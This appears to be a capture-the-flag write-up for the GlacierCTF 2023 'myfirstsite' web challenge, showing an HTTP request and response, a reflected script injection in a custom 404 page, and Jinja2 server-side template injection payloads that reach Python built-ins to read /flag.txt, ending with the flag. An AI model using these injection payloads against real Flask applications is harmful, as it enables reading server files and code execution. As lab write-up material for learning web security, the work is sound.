/projects
What looked suspicious, however, was the request for this “other projects” link in the footer.
> GET /projects HTTP/2
> Host: myfirstsite.web.glacierctf.com
> user-agent: curl/7.68.0
> accept: */*
< HTTP/2 200
< date: Sat, 02 Dec 2023 18:07:18 GMT
< content-type: text/html; charset=utf-8
< content-length: 181
< strict-transport-security: max-age=15724800; includeSubDomains
<!DOCTYPE html>
<html>
<head>
<title>Custom 404 Page</title>
</head>
<body>
<h1>404 - Page Not Found</h1>
<p>Oops! The page you're looking for at /projects doesn't exist.</p>
</body>
</html>
Interestingly, this page returned a status code of 200, but the content was a 404 page. This led us to believe that there was something wrong with this custom 404 page.
We noticed that we could inject arbitrary HTML into this page just by using it as the URL path:
https://myfirstsite.web.glacierctf.com/%3Cb%3EHAHA%3C/b%3E%3Cscript%3Ealert(1);%3C/script%3E
Let’s put together what we know so far:
Flask allows you to return files with a mix of static and dynamic content:
<!doctype html>
<section class="content">
The message is: {{ message }}
</section>
Assuming that the application is written to just naively add the user input (the URL path) to the response (a Jinja2-templated HTML file), we were able to inject Jinja2 template code:
{{ 1 + 1 }}
With this, we have just discovered a way to execute arbitrary Python code on the server:
{{ range(1337)[-1] }}
Assuming the flag is stored in /flag.txt
, we tried to read it with the following code:
{{ open('/flag.txt').read() }}
However, this gave us an internal server error - possibly because some built-in functions were disabled. But as we learned from the Avatar challenge already, there are many alternatives to get to the built-in functions. The following trick worked for us:
{{ self.__init__.__globals__.__builtins__.open('/flag.txt').read() }}
The flag is gctf{404_fl4g_w4s_f0und}
🥳